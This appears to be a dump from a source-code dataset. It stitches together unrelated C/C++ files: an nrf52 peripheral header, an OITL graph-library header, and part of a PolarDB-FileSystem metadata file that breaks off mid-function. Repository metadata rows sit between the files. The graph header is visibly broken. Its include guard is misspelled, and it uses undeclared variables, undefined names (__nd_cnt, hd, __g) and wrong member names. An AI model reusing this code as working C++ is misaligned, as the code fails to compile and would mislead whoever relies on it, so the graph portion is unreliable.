#include "MRQ_constants.hpp"
//#include "SPM_SparseMatrix.hpp"
#include "MRQ_dataStructures.hpp"
#include "MRQ_algClasses.hpp"
namespace muriqui{
}
#endif /* MURIQUI_HPP_ */
| 10.033333
| 33
| 0.681063
|
xmuriqui
|
4ecf77d1f7469b7049cfc6fb073f085f4b6b274e
| 1,518
|
hpp
|
C++
|
src/nrf52/peripheral.hpp
|
Testrigor123/cortex-demos
|
1163db7f626de1420d5af4557de66713709ed136
|
[
"Apache-2.0"
] | null | null | null |
src/nrf52/peripheral.hpp
|
Testrigor123/cortex-demos
|
1163db7f626de1420d5af4557de66713709ed136
|
[
"Apache-2.0"
] | null | null | null |
src/nrf52/peripheral.hpp
|
Testrigor123/cortex-demos
|
1163db7f626de1420d5af4557de66713709ed136
|
[
"Apache-2.0"
] | null | null | null |
/*******************************************************************************
Copyright 2018 Google LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*******************************************************************************/
#pragma once
#include "memio.h"
#include "driver/peripheral.hpp"
namespace nrf52 {
class Peripheral : virtual public driver::Peripheral {
public:
Peripheral() {};
void trigger_task(int task) {
raw_write32(base_ + task * 4, 1);
}
void busy_wait_and_clear_event(int evt) {
while (!raw_read32(base_ + kEventsOffset + evt * 4));
clear_event(evt);
}
private:
void clear_event(int evt) override {
raw_write32(base_ + kEventsOffset + evt * 4, 0);
}
bool is_event_active(int evt) override {
return raw_read32(base_ + kEventsOffset + evt * 4);
}
static constexpr auto kEventsOffset = 0x100;
};
} // namespace nrf52
| 30.979592
| 80
| 0.583004
|
Testrigor123
|
4ed34c940e5c7e3490082c0ad673dc4d397684d4
| 15,411
|
hpp
|
C++
|
assets/graph.hpp
|
oitl-5ab/OITL
|
23f20d32a9ba3eecfb20601dbc464c06981be2a9
|
[
"MIT"
] | 3
|
2020-03-07T13:29:21.000Z
|
2020-09-16T11:16:27.000Z
|
assets/graph.hpp
|
oitl-5ab/OITL
|
23f20d32a9ba3eecfb20601dbc464c06981be2a9
|
[
"MIT"
] | 3
|
2020-03-07T13:39:08.000Z
|
2020-09-25T16:20:43.000Z
|
assets/graph.hpp
|
oitl-5ab/OITL
|
23f20d32a9ba3eecfb20601dbc464c06981be2a9
|
[
"MIT"
] | 1
|
2020-09-16T11:16:38.000Z
|
2020-09-16T11:16:38.000Z
|
#ifndef OITL_GRAPH_HPP
#define OITL_GARPH_HPP 1
#include "basic_calc.hpp"
#include "disjoint_set.hpp"
#if __cplusplus < 201103L
#include <list>
#else
#include <forward_list>
#endif
#include <stack>
#include <vector>
namespace oitl
{
typedef enum { directed = 1, undirected = 2 } is_directed;
#if __cplusplus >= 201103L
template<typename T>
using node_chain = std::forward_list<T>;
#else
#define node_chain std::list
#endif
template<is_directed dir, typename val_t = long long>
class dynamic_graph;
template<int n, is_directed dir, typename val_t = long long>
class graph;
template<int n, int m, is_directed dir, typename val_t = long long>
class static_graph;
namespace __oitl_builtin
{
template<typename T>
class __node_t
{
private:
__id_type __des;
T __val;
public:
__node_t(__id_type __d = __id_type(), T __v = T()) : __des(__d), __val(__v) { }
__id_type dest() const { return __des; }
T value() const { return __val; }
};
template<typename __graph_type>
bool __dfs(const __graph_type *__g, int __s, int __t, std::vector<bool>& __vis)
{
typedef typename __graph_type::iterator __it;
if (__s == __t)
return true;
for (__it __p = __g->begin(__s); __p != __g->end(__s); ++__p)
if (!__vis[__p->dest()])
{
__vis[__p->dest()] = true;
if (__dfs(__g, __p->dest(), __t, __vis))
return true;
__vis[__p->dest()] = false;
}
return false;
}
template<typename __graph_type>
void __dfs2(const __graph_type* __g, __id_type __s, std::vector<bool>& __vis)
{
typedef typename __graph_type::iterator __it;
for (__it __p = __g->begin(__s); __p != __g->end(__s); ++__p)
if (!__vis[__p->dest()])
{
__vis[__p->dest()] = true;
__dfs2(__g, __p->dest(), __vis);
}
}
template<typename __graph_type>
void __tarjan(__graph_type *__g, int __s, int& __ind, int& __ret, std::vector<int>& __dfn
, std::vector<int>& __low, std::vector<bool>& __in_stack, std::stack<int>& __sta)
{
typedef typename __graph_type::iterator iterator;
__dfn[__s] = __low[__s] = __ind;
++__ind;
__in_stack[__s] = true;
__sta.push(__s);
for (iterator __p = __g->begin(__s); __p != __g.end(__s); ++__p)
{
if (__dfn[__p->dest()] == -1)
__tarjan(__g, __p->dest(), __ind, __ret, __dfn, __low, __in_stack, __sta);
else if (!__in_stack[__p->dest()])
continue;
if (__low[__p->dest()] < __low[__s])
__low[__s] = __low[__p->dest()];
}
if (__dfn[__s] == __low[__s])
{
++__ret;
do {
__s = __sta.top();
__sta.pop();
__in_stack[__s] = false;
} while (__dfn[__s] != __low[__s]);
}
}
}
template<typename val_t> class dynamic_graph<directed, val_t>
{
public:
typedef typename node_chain<__oitl_builtin::__node_t<val_t> >::iterator iterator;
private:
std::vector<node_chain<__oitl_builtin::__node_t<val_t> > > __g;
public:
dynamic_graph() { }
dynamic_graph(int __nd_cnt) { __g.resize(__nd_cnt); }
dynamic_graph(const dynamic_graph<directed, val_t>& __dg)
{
__g.assign(__dg.__g.begin(), __dg.__g.end());
}
~dynamic_graph() { }
void clear() { __g.clear(); }
void add_edge(int __s, int __t, val_t __v)
{
__oitl_array_assert(__g.size(), __s);
__oitl_array_assert(__g.size(), __t);
__g[__s].push_back(__oitl_builtin::__node_t<val_t>(__t, __v));
}
void add_vertex() { __g.push_back(node_chain<__oitl_builtin::__node_t<val_t> >()); }
void set_vertex(int __nd_cnt) { __g.resize(__nd_cnt); }
__id_type vertex_cnt() const { return __g.size(); }
iterator begin(int __node_id) const
{
__oitl_array_assert(__g.size(), __node_id);
return __g[__node_id].begin();
}
iterator end(int __node_id) const
{
__oitl_array_assert(__g.size(), __node_id);
return __g[__node_id].end();
}
bool is_connect(int __s, int __t) const
{
std::vector<bool> __vis(__g.size(), false);
__vis[__s] = true;
return __oitl_builtin::__dfs(this, __s, __t, __vis);
}
bool is_strongly_connect(int __s, int __t) const
{
return is_connect(__s, __t) && is_connect(__t, __s);
}
int scc_count() const
{
int __ans = 0, __ind;
std::vector<int> __dfn(__g.size(), -1), __low(__g.size(), -1);
std::vector<bool> __in_stack(__g.size(), false);
std::stack<int> __sta;
for (std::vector<int>::iterator __it = __dfn.begin()
; __it != __dfn.end(); __it++)
if (*__it == -1)
{
__ind = 0;
__oitl_builtin::__tarjan(this, __it - __dfn.begin(), __ind, __ans
, __dfn, __low, __in_stack, __sta);
}
return __ans;
}
bool is_connect() const { return scc_count() == 1; }
};
template<int n, typename val_t> class graph<n, directed, val_t>
{
public:
typedef typename node_chain<__oitl_builtin::__node_t<val_t> >::iterator iterator;
private:
node_chain<__oitl_builtin::__node_t<val_t> > __g[n];
public:
graph() { }
graph(const graph<n, directed, val_t>& __og)
{
for (int __i = 0; __i < n; ++__i)
__g[__i] = __og.__g[__i];
}
~graph() { }
void clear()
{
for (int __i = 0; __i < n; ++__i)
__g[__i].clear();
}
void add_edge(int __s, int __t, val_t __v)
{
__oitl_array_assert(n, __s);
__oitl_array_assert(n, __t);
__g[__s].push_back(__oitl_builtin::__node_t<val_t>(__t, __v));
}
iterator begin(int __node_id) const
{
__oitl_array_assert(n, __node_id);
return __g[__node_id].begin();
}
iterator end(int __node_id) const
{
__oitl_array_assert(n, __node_id);
return __g[__node_id].end();
}
bool is_connect(int __s, int __t) const
{
std::vector<bool> __vis(n, false);
__vis[__s] = true;
return __oitl_builtin::__dfs(this, __s, __t, __vis);
}
bool is_strongly_connect(int __s, int __t) const
{
return is_connect(__s, __t) && is_connect(__t, __s);
}
int scc_count() const
{
int __ans = 0, __ind;
std::vector<int> __dfn(n, -1), __low(n, -1);
std::vector<bool> __in_stack(n, false);
std::stack<int> __sta;
for (std::vector<int>::iterator __it = __dfn.begin()
; __it != __dfn.end(); __it++)
if (*__it == -1)
{
__ind = 0;
__oitl_builtin::__tarjan(this, __it - __dfn.begin(), __ind, __ans
, __dfn, __low, __in_stack, __sta);
}
return __ans;
}
bool is_connect() const { return scc_count() == 1; }
};
template<int n, int m, typename val_t> class static_graph<n, m, directed, val_t>
{
private:
int __hd[n], __nxt[m], __edg_cnt;
__oitl_builtin::__node_t<val_t> __val[m];
public:
class iterator
{
private:
int __pos;
public:
iterator(int __p = 0) : __pos(__p) { }
iterator(const iterator &__it) : __pos(__it.__pos) { }
iterator operator++() { ++__pos; return *this; }
iterator operator--() { --__pos; return *this; }
iterator operator++(int)
{
iterator __self = *this;
++__pos;
return __self;
}
iterator operator--(int)
{
iterator __self = *this;
--__pos;
return __self;
}
__oitl_builtin::__node_t<val_t>* operator->() const { return &__val[__pos]; }
};
static_graph() : __edg_cnt(0)
{
for (__i = 0; __i < n; ++__i)
__hd[__i] = -__i - 1;
}
static_graph(const static_graph<n, m, directed, val_t>& __sg)
{
__edg_cnt = __sg.__edg_cnt;
for (int __i = 0; __i < n; ++__i)
__hd[__i] = __sg.__hd[__i];
for (int __i = 0; __i < __edg_cnt; ++__i)
{
__nxt[__i] = __sg.__nxt[__i];
__val[__i] = __sg.__val[__i];
}
}
~static_graph() { }
void clear()
{
__edg_cnt = 0;
memset(__hd, -1, sizeof(__hd));
}
void add_edge(int __s, int __t, val_t __v)
{
__oitl_array_assert(n, __s);
__oitl_array_assert(n, __t);
__oitl_assert(__edg_cnt < m, "No more edges can added.");
__val[__edg_cnt].__v = __v, __val[__edg_cnt].__d = __t;
__nxt[__edg_cnt] = __hd[__s], __hd[__s] = __edg_cnt;
++__edg_cnt;
}
iterator begin(int __node_id) const
{
__oitl_array_assert(n, __node_id);
return iterator(__hd[__node_id]);
}
iterator end(int __node_id)
{
__oitl_array_assert(n, __node_id);
return iterator(-__node_id - 1);
}
bool is_connect(int __s, int __t) const
{
std::vector<bool> __vis(n, false);
__vis[__s] = true;
return __oitl_builtin::__dfs(this, __s, __t, __vis);
}
bool is_strongly_connect(int __s, int __t) const
{
return is_connect(__s, __t) && is_connect(__t, __s);
}
int scc_count() const
{
int __ans = 0, __ind;
std::vector<int> __dfn(n, -1), __low(n, -1);
std::vector<bool> __in_stack(n, false);
std::stack<int> __sta;
for (std::vector<int>::iterator __it = __dfn.begin()
; __it != __dfn.end(); ++__it)
if (*__it == -1)
{
__ind = 0;
__oitl_builtin::__tarjan(this, __it - __dfn.begin(), __ind, __ans
, __dfn, __low, __in_stack, __sta);
}
return __ans;
}
bool is_connect() const { return scc_count() == 1; }
};
// Undirected Graphs
template<typename val_t> class dynamic_graph<undirected, val_t>
{
public:
typedef typename node_chain<__oitl_builtin::__node_t<val_t> >::iterator iterator;
private:
std::vector<node_chain<__oitl_builtin::__node_t<val_t> > > __g;
public:
dynamic_graph() { }
dynamic_graph(int __nd_cnt) { __g.resize(__nd_cnt); }
dynamic_graph(const dynamic_graph<directed, val_t>& __dg)
{
__g.assign(__dg.__g.begin(), __dg.__g.end());
}
~dynamic_graph() { }
void clear() { __g.clear(); }
void add_edge(int __s, int __t, val_t __v)
{
__oitl_array_assert(__g.size(), __s);
__oitl_array_assert(__g.size(), __t);
__g[__s].push_back(__oitl_builtin::__node_t<val_t>(__t, __v));
__g[__t].push_back(__oitl_builtin::__node_t<val_t>(__s, __v));
}
void add_vertex() { __g.push_back(node_chain<__oitl_builtin::__node_t<val_t> >()); }
void set_vertex(int __nd_cnt) { __g.resize(__nd_cnt); }
__id_type vertex_cnt() const { return __g.size(); }
iterator begin(int __node_id)
{
__oitl_array_assert(__g.size(), __node_id);
return __g[__node_id].begin();
}
iterator end(int __node_id)
{
__oitl_array_assert(__g.size(), __node_id);
return __g[__node_id].end();
}
bool is_connect(int __s, int __t) const
{
std::vector<bool> __vis(__g.size(), false);
__vis[__s] = true;
return __oitl_builtin::__dfs(this, __s, __t, __vis);
}
int scc_count() const
{
int __ans = 0;
std::vector<bool> __vis(__g.size(), false);
for (int __i = 0; __i < __nd_cnt; ++__i)
if (!__vis[__i])
{
__vis[__i] = true;
__dfs2(this, __i, __vis);
++__ans;
}
return __ans;
}
bool is_connect() const { return scc_count() == 1; }
};
template<int n, typename val_t> class graph<n, undirected, val_t>
{
public:
typedef typename node_chain<__oitl_builtin::__node_t<val_t> >::iterator iterator;
private:
node_chain<__oitl_builtin::__node_t<val_t> > __g[n];
public:
graph() { }
graph(const graph<directed, val_t>& __og)
{
for (int __i = 0; __i < n; ++__i)
__g[__i] = __og.__g[__i];
}
~graph() { }
void clear()
{
for (int __i = 0; __i < n; ++__i)
__g[__i].clear();
}
void add_edge(int __s, int __t, val_t __v)
{
__oitl_array_assert(n, __s);
__oitl_array_assert(n, __t);
__g[__s].push_back(__oitl_builtin::__node_t<val_t>(__t, __v));
__g[__t].push_back(__oitl_builtin::__node_t<val_t>(__s, __v));
}
iterator begin(int __node_id)
{
__oitl_array_assert(n, __node_id);
return __g[__node_id].begin();
}
iterator end(int __node_id)
{
__oitl_array_assert(n, __node_id);
return __g[__node_id].end();
}
bool is_connect(int __s, int __t) const
{
std::vector<bool> __vis(n, false);
__vis[__s] = true;
return __oitl_builtin::__dfs(this, __s, __t, __vis);
}
int scc_count() const
{
int __ans = 0;
std::vector<bool> __vis(n, false);
for (int __i = 0; __i < __nd_cnt; ++__i)
if (!__vis[__i])
{
__vis[__i] = true;
__oitl_builtin::__dfs2(this, __i, __vis);
++__ans;
}
return __ans;
}
bool is_connect() const { return scc_count() == 1; }
};
template<int n, int m, typename val_t> class static_graph<n, m, undirected, val_t>
{
private:
__id_type __hd[n], __nxt[m<<1], __edg_cnt;
__oitl_builtin::__node_t<val_t> __val[m<<1];
public:
class iterator
{
private:
int __pos;
public:
iterator(int __p = 0) : __pos(__p) { }
iterator(const iterator &__it) : __pos(__it.__pos) { }
iterator operator++() { ++__pos; return *this; }
iterator operator--() { --__pos; return *this; }
iterator operator++(int)
{
iterator __self = *this;
++__pos;
return __self;
}
iterator operator--(int)
{
iterator __self = *this;
--__pos;
return __self;
}
__oitl_builtin::__node_t<val_t>* operator->() const { return &__val[__pos]; }
};
static_graph() : __edg_cnt(0)
{
for (int __i = 0; __i < n; ++__i)
__hd[__i] = -__i - 1;
}
static_graph(const static_graph<n, m, directed, val_t>& __sg)
{
__edg_cnt = __sg.__edg_cnt;
for (int __i = 0; __i < n; ++__i)
__hd[__i] = __sg.__hd[__i];
for (int __i = 0; __i < __edg_cnt; ++__i)
{
__nxt[__i] = __sg.__nxt[__i];
__val[__i] = __sg.__val[__i];
}
}
~static_graph() { }
void clear() { __g.clear(); }
void add_edge(int __s, int __t, val_t __v)
{
__oitl_array_assert(n, __s);
__oitl_array_assert(n, __t);
__val[__edg_cnt].__des = __t, __val[__edg_cnt].__val = __v;
__nxt[__edg_cnt] = __hd[__s], hd[__s] = __edg_cnt;
++__edg_cnt;
__val[__edg_cnt].__des = __s, __val[__edg_cnt].__val = __v;
__nxt[__edg_cnt] = __hd[__t], __hd[__t] = __edg_cnt;
++__edg_cnt;
}
iterator begin(int __node_id)
{
__oitl_array_assert(n, __node_id);
return iterator(__hd[__node_id]);
}
iterator end(int __node_id)
{
__oitl_array_assert(n, __node_id);
return iterator(-__node_id - 1);
}
bool is_connect(int __s, int __t) const
{
std::vector<bool> __vis(__g.size(), false);
__vis[__s] = true;
return __oitl_builtin::__dfs(this, __s, __t, __vis);
}
int cc_count() const
{
int __ans = 0;
std::vector<bool> __vis(__g.size(), false);
for (int __i = 0; __i < __nd_cnt; ++__i)
if (!__vis[__i])
{
__vis[__i] = true;
__dfs2(this, __i, __vis);
++__ans;
}
return __ans;
}
bool is_connect() const { return cc_count() == 1; }
};
}
#endif
| 22.270231
| 91
| 0.588086
|
oitl-5ab
|
4ed4a3b5230ec41cf4e333dc55bcd9759d04e063
| 39,871
|
cc
|
C++
|
src/pfs_core/pfs_meta.cc
|
qiuyuhang/PolarDB-FileSystem
|
a18067ef9294c2f509decd80b2b9231c9f950e21
|
[
"Apache-2.0"
] | 35
|
2021-11-08T03:24:50.000Z
|
2022-03-24T12:39:12.000Z
|
src/pfs_core/pfs_meta.cc
|
qiuyuhang/PolarDB-FileSystem
|
a18067ef9294c2f509decd80b2b9231c9f950e21
|
[
"Apache-2.0"
] | 2
|
2021-11-30T02:29:53.000Z
|
2022-03-17T06:57:53.000Z
|
src/pfs_core/pfs_meta.cc
|
qiuyuhang/PolarDB-FileSystem
|
a18067ef9294c2f509decd80b2b9231c9f950e21
|
[
"Apache-2.0"
] | 18
|
2021-11-08T08:43:06.000Z
|
2022-02-28T09:38:09.000Z
|
/*
* Copyright (c) 2017-2021, Alibaba Group Holding Limited
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <math.h>
#include <search.h>
#include <stddef.h>
#include <sys/param.h>
#include "pfs_meta.h"
#include "pfs_devio.h"
#include "pfs_dir.h"
#include "pfs_inode.h"
#include "pfs_mount.h"
#include "pfs_option.h"
#include "pfs_tls.h"
#include "pfs_tx.h"
#include "pfs_util.h"
#include "pfs_version.h"
#include "pfs_stat.h"
#include "pfs_namecache.h"
#define MAX_NTHRD 64
#define MIN_NTHRD 8
static int64_t loadthread_count = MIN_NTHRD;
PFS_OPTION_REG(loadthread_count, pfs_check_ival_normal);
#define CHECK_META 0
typedef struct metatype {
const char *mt_name;
pfs_metaobj_phy_t *(*mt_alloc) (pfs_mount_t *, int type, pfs_txop_t *);
void (*mt_free)(pfs_mount_t *, int type, pfs_metaobj_phy_t *,
pfs_txop_t *);
void (*mt_redo)(int64_t oid, pfs_mount_t *mnt);
void (*mt_redo_fini)(pfs_tx_t* tx);
void (*mt_undo)(int64_t oid, pfs_mount_t *mnt);
} metatype_t;
enum visit_type {
VISIT_ONE,
VISIT_ALL,
};
typedef struct metaset_visit {
enum visit_type msv_type;
int64_t msv_oid;
void (*msv_func)(void *, pfs_metaobj_phy_t *);
void *msv_data;
} metaset_visit_t;
static void pfs_meta_bd_change_index(pfs_mount_t *mnt, pfs_blktag_phy_t *bt);
static void pfs_metaobj_redo_inode(int64_t ino, pfs_mount_t *mnt);
static void pfs_metaobj_undo_inode(int64_t ino, pfs_mount_t *mnt);
static pfs_metaobj_phy_t *
pfs_metaobj_alloc_blktag(pfs_mount_t *, int, pfs_txop_t *);
static void pfs_metaobj_free_blktag(pfs_mount_t *, int, pfs_metaobj_phy_t *,
pfs_txop_t *);
static void pfs_metaobj_redo_blktag(int64_t btno, pfs_mount_t *mnt);
static void pfs_metaobj_undo_blktag(int64_t btno, pfs_mount_t *mnt);
static void pfs_metaobj_redo_direntry(int64_t mono, pfs_mount_t *mnt);
static void pfs_metaobj_undo_common(int64_t mono, pfs_mount_t *mnt);
static pfs_metaobj_phy_t *
pfs_metaobj_alloc_common(pfs_mount_t *, int, pfs_txop_t *);
static void pfs_metaobj_free_common(pfs_mount_t *, int, pfs_metaobj_phy_t *,
pfs_txop_t *);
static void pfs_metaobj_redo_fini_common(pfs_tx_t*);
static void pfs_metaobj_redo_fini_inode(pfs_tx_t*);
static metatype_t metatypes[] = {
[MT_NONE] = {
.mt_name = "none",
.mt_alloc = NULL,
.mt_free = NULL,
.mt_redo = NULL,
.mt_redo_fini = NULL,
.mt_undo = NULL,
},
[MT_BLKTAG] = {
.mt_name = "blktag",
.mt_alloc = pfs_metaobj_alloc_blktag,
.mt_free = pfs_metaobj_free_blktag,
.mt_redo = pfs_metaobj_redo_blktag,
.mt_redo_fini = pfs_metaobj_redo_fini_common,
.mt_undo = pfs_metaobj_undo_blktag,
},
[MT_DIRENTRY] = {
.mt_name = "direntry",
.mt_alloc = pfs_metaobj_alloc_common,
.mt_free = pfs_metaobj_free_common,
.mt_redo = pfs_metaobj_redo_direntry,
.mt_redo_fini = pfs_metaobj_redo_fini_common,
.mt_undo = pfs_metaobj_undo_common,
},
[MT_INODE] = {
.mt_name = "inode",
.mt_alloc = pfs_metaobj_alloc_common,
.mt_free = pfs_metaobj_free_common,
.mt_redo = pfs_metaobj_redo_inode,
.mt_redo_fini = pfs_metaobj_redo_fini_inode,
.mt_undo = pfs_metaobj_undo_inode,
},
};
void
pfs_meta_lock(pfs_mount_t *mnt)
{
pfs_tx_t *tx;
pfs_tls_t *tls;
if (!pfs_inited(mnt)) {
/*
* It is to lock during mount. It is trivial
* since there is only one thread doing mount.
* Do nothing in this case.
*/
return;
}
tls = pfs_current_tls();
if (tls->tls_meta_locked)
return;
tx = tls->tls_tx;
if (tx && (tx->t_type == TXT_WRITE || tx->t_type == TXT_REPLAY))
MOUNT_META_WRLOCK(mnt);
else
MOUNT_META_RDLOCK(mnt);
tls->tls_meta_locked = true;
}
void
pfs_meta_unlock(pfs_mount_t *mnt)
{
pfs_tls_t *tls = pfs_current_tls();
if (tls->tls_meta_locked) {
tls->tls_meta_locked = false;
rwlock_unlock(&mnt->mnt_meta_rwlock);
}
}
bool
pfs_meta_islocked(pfs_mount_t *mnt)
{
pfs_tls_t *tls = pfs_current_tls();
return tls->tls_meta_locked;
}
#if 0
static bool
metaobj_check(const pfs_metaobj_phy_t *mo)
{
return mo->mo_used > 0;
}
#endif
void
pfs_metaobj_check_crc(pfs_metaobj_phy_t *mo)
{
uint32_t cksum;
/* Skip old version metaobj whose checksum is zero */
if (!mo->mo_checksum)
return;
cksum = crc32c_compute(mo, sizeof(*mo),
offsetof(struct pfs_metaobj_phy, mo_checksum));
if (mo->mo_checksum != cksum) {
pfs_etrace("metaobj %lld (type %d) checksum %u is invalid\n",
(long long)mo->mo_number, mo->mo_type, mo->mo_checksum);
PFS_ASSERT("metaobj crc error" == NULL);
abort();
}
}
void
pfs_metaobj_check_crc_buf(pfs_metaobj_phy_t *mobuf, int nmo)
{
pfs_metaobj_phy_t *mo;
for (mo = mobuf; mo < mobuf + nmo; mo++)
pfs_metaobj_check_crc(mo);
}
static void
pfs_metaobj_init(pfs_metaobj_phy_t *mo, int type)
{
PFS_ASSERT(mo->mo_type == type);
PFS_ASSERT(mo->mo_prev == 0); /* a new meta object should have */
PFS_ASSERT(mo->mo_next == 0); /* no structure info */
PFS_ASSERT(mo->mo_used == 0);
mo->mo_used = 1;
//mo->mo_version = 0; /* XXX: version to be used later */
}
static void
pfs_metaobj_fini(pfs_metaobj_phy_t *mo, int type)
{
PFS_ASSERT(mo->mo_type == type);
PFS_ASSERT(mo->mo_prev == 0); /* a to be freed object should have */
PFS_ASSERT(mo->mo_next == 0); /* no structure info */
PFS_ASSERT(mo->mo_used == 1);
mo->mo_used = 0;
}
static void
pfs_meta_inode_change(pfs_mount_t *mnt, const pfs_inode_phy_t *phyin)
{
pfs_metaobj_phy_t *mo = GETMO(phyin);
pfs_inode_t *in;
in = pfs_get_inode_tx(pfs_tls_get_tx(), mo->mo_number);
if (in == NULL || in->in_stale)
return;
if (in->in_type != PFS_INODET_FILE ||
phyin->in_type != PFS_INODET_FILE) {
pfs_inode_mark_stale(in);
return;
}
pfs_inode_sync_meta(in, phyin);
}
static void
pfs_metaobj_redo_inode(int64_t ino, pfs_mount_t *mnt)
{
/* notify file level to update file index in memory inode */
pfs_inode_phy_t *phyin;
if (pfs_inited(mnt)) {
phyin = pfs_meta_get_inode_flags(mnt, ino, NULL, 0);
pfs_meta_inode_change(mnt, phyin);
}
}
static void
pfs_metaobj_undo_inode(int64_t ino, pfs_mount_t *mnt)
{
/* notify file level to update file index in memory inode */
if (pfs_inited(mnt)) {
/*
* In fact , this case we can use pfs_meta_inode_change as well.
* But to reduce understanding complexity, we still use the
* older interfaces.
*/
pfs_inode_invalidate(ino, mnt);
}
}
static void
pfs_meta_inode_change_findex(const pfs_blktag_phy_t* bt)
{
pfs_metaobj_phy_t *mo = GETMO(bt);
pfs_inode_t *in;
/*
* We do not update the inode index from discard tx.
*/
if (bt->bt_dstatus == BDS_INP ||
(bt->bt_dstatus == BDS_NONE && !mo->mo_used))
return;
in = pfs_get_inode_tx(pfs_tls_get_tx(), bt->bt_ino);
if (in == NULL || in->in_stale)
return;
/*
* Before apply the blktag tx, the inode must be a file once it is
* not stale.
*/
PFS_ASSERT(in->in_type == PFS_INODET_FILE);
pfs_inode_sync_blk_meta(in, bt);
}
static void
pfs_metaobj_redo_blktag(int64_t btno, pfs_mount_t *mnt)
{
#ifdef PFSDEBUG
if (pfs_inited(mnt))
pfs_itrace("redo blk %lu\n", btno);
#endif
pfs_blktag_phy_t *bt;
if (pfs_inited(mnt)) {
bt = pfs_meta_get_blktag_flags(mnt, btno, NULL, 0);
pfs_meta_bd_change_index(mnt, bt);
pfs_meta_inode_change_findex(bt);
}
}
static void
pfs_metaobj_undo_blktag(int64_t btno, pfs_mount_t *mnt)
{
#ifdef PFSDEBUG
if (pfs_inited(mnt))
pfs_itrace("undo blk %lu\n", btno);
#endif
pfs_blktag_phy_t *bt;
if (pfs_inited(mnt)) {
bt = pfs_meta_get_blktag_flags(mnt, btno, NULL, 0);
pfs_meta_bd_change_index(mnt, bt);
}
}
/* ARGSUSED */
static void
pfs_metaobj_use_one(pfs_anode_t *an, uint64_t oid, void *data)
{
pfs_anode_nfree_inc(an, oid, -1);
}
static pfs_metaobj_phy_t *
pfs_metaobj_alloc_blktag(pfs_mount_t *mnt, int mtype, pfs_txop_t *top)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
pfs_metaobj_phy_t *mo;
pfs_blktag_phy_t *bt;
uint64_t val;
int err;
bool reused;
if ((val = pfs_bd_get(mnt, BDS_READY)) != (uint64_t)-1) {
pfs_bd_del(mnt, BDS_READY, val);
pfs_anode_visit(anroot, val, pfs_metaobj_use_one, NULL);
reused = true;
} else if ((err = pfs_anode_alloc(anroot, &val)) == 0)
reused = false;
else
return NULL;
mo = (pfs_metaobj_phy_t *)pfs_anode_get(anroot, val, top);
pfs_metaobj_init(mo, mtype);
bt = MO2BT(mo);
#ifdef PFSDEBUG
pfs_itrace("%s blk %lu\n", reused ? "realloc" : "alloc", val);
#endif
if (reused)
PFS_ASSERT(bt->bt_dstatus == BDS_READY);
else
PFS_ASSERT(bt->bt_dstatus != BDS_INP);
PFS_ASSERT(bt->bt_holeoff == 0);
PFS_ASSERT(bt->bt_holelen == 0);
bt->bt_dstatus = BDS_NONE;
bt->bt_ndiscard = 0;
bt->bt_holeoff = 0;
bt->bt_holelen = pfs_version_has_features(mnt, PFS_FEATURE_BLKHOLE) ?
mnt->mnt_blksize : 0;
return mo;
}
static void
pfs_metaobj_free_blktag(pfs_mount_t *mnt, int mtype, pfs_metaobj_phy_t *mo,
pfs_txop_t *top)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
pfs_blktag_phy_t *bt;
#ifdef PFSDEBUG
pfs_itrace("free blk %lu\n", mo->mo_number);
#endif
bt = MO2BT(mo);
PFS_ASSERT(bt->bt_ndiscard == 0);
PFS_ASSERT(bt->bt_dstatus == BDS_NONE);
bt->bt_dstatus = BDS_READY;
pfs_bd_add(mnt, BDS_READY, mo->mo_number);
bt->bt_holeoff = 0;
bt->bt_holelen = 0;
pfs_metaobj_fini(mo, mtype);
pfs_anode_free(anroot, mo->mo_number);
}
static void
pfs_metaobj_redo_fini_inode(pfs_tx_t* tx)
{
pfs_put_inode_tx_all(tx);
}
static pfs_metaobj_phy_t *
pfs_metaobj_alloc_common(pfs_mount_t *mnt, int mtype, pfs_txop_t *top)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
pfs_metaobj_phy_t *mo;
int err;
uint64_t val;
err = pfs_anode_alloc(anroot, &val);
if (err == -ENOSPC)
return NULL;
mo = (pfs_metaobj_phy_t *)pfs_anode_get(anroot, val, top);
pfs_metaobj_init(mo, mtype);
return mo;
}
static void
pfs_metaobj_free_common(pfs_mount_t *mnt, int mtype, pfs_metaobj_phy_t *mo,
pfs_txop_t *top)
{
pfs_anode_t *anroot = &mnt->mnt_anode[mtype];
pfs_metaobj_fini(mo, mtype);
pfs_anode_free(anroot, mo->mo_number);
}
static void
pfs_metaobj_redo_direntry(int64_t mono, pfs_mount_t *mnt)
{
pfs_namecache_delete_by_deno(mnt, mono);
}
static void
pfs_metaobj_undo_common(int64_t mono, pfs_mount_t *mnt)
{
}
static void
pfs_metaobj_redo_fini_common(pfs_tx_t*)
{
}
static inline pfs_metaobj_phy_t *
pfs_metaset_getobject(pfs_metaset_t *ms, uint64_t oid, pfs_txop_t *top,
void **bufp)
{
uint64_t si, oi, sectsize;
pfs_metaobj_phy_t* result = NULL;
si = oid >> ms->ms_opps;
oi = oid - (si << ms->ms_opps);
sectsize = ms->ms_objsize << ms->ms_opps;
PFS_ASSERT(si < ms->ms_nsect && oi < (1ULL << ms->ms_opps));
if (bufp)
*bufp = ms->ms_objbuf[si];
if (top)
result = pfs_txop_init(top, ms->ms_objbuf[si], oi,
ms->ms_sectbda + si * sectsize);
else
result = pfs_tx_get_mo(pfs_tls_get_tx(),
&ms->ms_objbuf[si][oi]);
return result;
}
static bool
pfs_metaset_alloc(pfs_anode_t *an, uint64_t oid)
{
pfs_metaset_t *ms = (pfs_metaset_t *)an->an_host;
pfs_metaobj_phy_t *mo;
mo = pfs_metaset_getobject(ms, oid, NULL, NULL);
if (mo->mo_used)
return false;
